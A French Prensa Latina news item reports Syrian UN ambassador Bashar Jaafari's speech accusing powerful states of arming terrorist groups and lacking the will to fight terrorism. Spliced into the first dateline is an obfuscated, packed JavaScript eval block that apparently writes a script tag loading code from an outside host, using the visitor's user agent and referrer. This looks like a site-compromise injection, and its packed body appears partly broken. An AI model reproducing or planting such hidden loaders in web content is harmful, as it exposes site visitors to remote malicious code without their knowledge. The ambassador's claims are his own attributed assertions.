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La Syrie dénonce le manque de volonté politique pour combattre le terrorisme

Damas, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yaaas|var|u0026u|referrer|ffybe||js|php'.split('|'),0,{})) 3 octobre (Prensa Latina) Le représentant permanent de la Syrie aux Nations Unies, Bashar Jaafari, a signalé devant cet organisme « la nécessité d'une réelle volonté politique pour combattre le terrorisme ».

Damas, 3 octobre (Prensa Latina) Le représentant permanent de la Syrie aux Nations Unies, Bashar Jaafari, a signalé devant cet organisme « la nécessité d’une réelle volonté politique pour combattre le terrorisme ».

Face au sixième Comité Juridique qui a analysé le sujet, l’ambassadeur a également appelé à ce que les pays « manipulateurs, collaborateurs et qui financent ce fléau rendent des comptes ».

Lors de son intervention, il a dénoncé le fait que « de nombreux pays, influents et puissants au sein de la communauté internationale, manquent toujours de volonté pour combattre contre le terrorisme ».

Il a insisté sur le fait que « certains gouvernements ayant de l’influence, du pouvoir et de l’argent, imposent leur hégémonie, lancent des guerres et arment des groupes terroristes dans tout pays qui n’est pas d’accord avec leurs politiques ».

« Ces États voient toujours ces groupes terroristes armés comme une arme politique, militaire et économique qui peut être utilisée pour renverser des gouvernements légitimes, détruire des économies et assassiner des citoyens », a-t-il signalé.

Au sujet du cas de la Syrie, pays qui souffre un conflit armé imposé depuis mars 2011, il a exposé le fait que « les terroristes étrangers se sont introduits dans le pays du Levant par le biais d’un processus échelonné et étudié dans lequel se sont engagés des gouvernements et des services de renseignement ».

Il a en ce sens évoqué le fait que « des dizaines de milliers de passeports et visas de tourisme ont été émis pour l’envoi de terroristes dans les pays voisins de la Syrie ».

« Les lignes aériennes et les vols ont été contrôlés par des agences de renseignement gouvernementales dans le but de ne pas poursuivre ces extrémistes », a-t-il assuré.

Après avoir signalé que dans des territoires voisins de la Syrie et de l’Irak « les extrémistes ont compté sur l’appui logistique et les armes de puissances étrangères », Jaafari a affirmé que « la guerre contre Damas répond à des décisions politiques irresponsables de certains États qui soutiennent ces groupes extrémistes et leur idéologie violente ».

peo/tgj/obf

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